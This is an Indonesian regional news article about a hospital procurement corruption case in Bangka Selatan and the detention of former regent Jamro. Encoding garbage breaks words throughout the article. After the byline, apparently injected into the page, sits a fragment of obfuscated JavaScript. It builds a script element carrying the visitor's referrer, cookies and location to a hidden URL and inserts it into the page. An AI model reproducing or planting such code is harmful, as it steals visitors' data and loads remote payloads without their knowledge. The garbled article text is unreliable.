Gawat !!! Mantan Bupati Bangka Selatan Bisa Saja Diancam Pasal Berlapis

KoranForum.Com, Toboali, Bangka Selatan — Kasus Dugaan Penyimpangan Dana Kegiatan Pengadaan Alat Kesehatan (Alkes) Rumah Sakit Umum Daerah (RSUD) Bangka Selatan (Basel) senilai Rp 11,9 Miliyar, menjerat Direktur RSUD Basel dr. Franseda.

Infonya, pihakAi?? Yudistira selaku kontraktor dari pengadaan Alkes RSUD Basel itu,Ai?? telah menerima vonis dan kasasi. Dalam putusannya, pihak Yudistira diharuskan mengembalikan uaAi??g pengganti sekitar Rp 227 juta.

Sedangkan pihak lain, yaitu mereka yang tidak mengakui telah melakukan dugaan perbuatan yang merugikan negara mencapai sekitar Rp 1,2 Miliyar, masing-masing menerima vonis empat tahun dan tiga tahun penjara.

Selain itu, terungkap juga saat itu mantan Bupati Bangka Selatan H. Jamro, diduga telah menerima fee proyek sekitar Rp 600 juta, dimana uang itu akhirnya dikembalikan dan dijadikan alat bukti. Saat sprindik di keluarkan pada tanggal 28 Maret yang lalu, yang akhirnya pada tanggal Ai??2 Mei yaitu saat Jamro ditetapkn sebagai tersangka, lalu ditahan pada tanggal 11 Mei 2016, hingga 20 hari kedepan.

Sedangkan pada 20 hari itu, ditargetkan tanggal 12 Juli 2016 bakal dilimpAi??hkan perkaranya ke Pengadilan Tipikor Ai??pangkalpinang, setelah jaksa (JPU) menyatakan berkas lengkap (P21).

Dalam kasus ini, penyidik menyerahkan barang bukti untuk dilimpahkan ke pengadilan Tipikor Pangkalpinang, karena masuk penuntutan dan statusnya akan meningkat menjadi terdakwa.

Infonya, setelah melAi??kukan pemeriksaan saksi didapati tiga alat bukti ,saat di lakukan gelar Ai??perkara yang merugikan negara sekitar Rp 2,5 Miliyar, dimana majelis hakim akan membuktikanAi??bahwa kasus ini adalah dugaan kasus suap menyuap, bukan kerugian Negara. Hal ini,Ai?? terbukti disaat persidangan, dimana uang Rp600 juta diterima oleh Jamro, serta uang Rp 28 juta yang dikembAi??likan oleh para panitia.

Saat penahanan 20 hari pertama dan dilanjut 40 hari, namun belum selesai 40 hari, ternyata sudah P21, sehingga dilanjutkan dengan tahap berikutnya.

Saat awak media bertanya kepada penyidik Kejari Basel, apakah pengacara tersangka akan mengajukan penanguhan penahanan? Maka penyidik Kejari Basel Pramono menjawab, bahwa, pengacara tersangka tidak mengajukannya.Sebab, kata Pramono, tidak ada satu suratpun masuk Ai??ke instansinya, terkait permohonan penangguhan penahanan Jamro, sebagai mantan Bupati Basel tersebut.
Informasi yang didapat awak media ini, terdakwa bakal dijerat dengan pasal berlapis, terkait sidang tipikor nantinya. (ibrahim)

]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *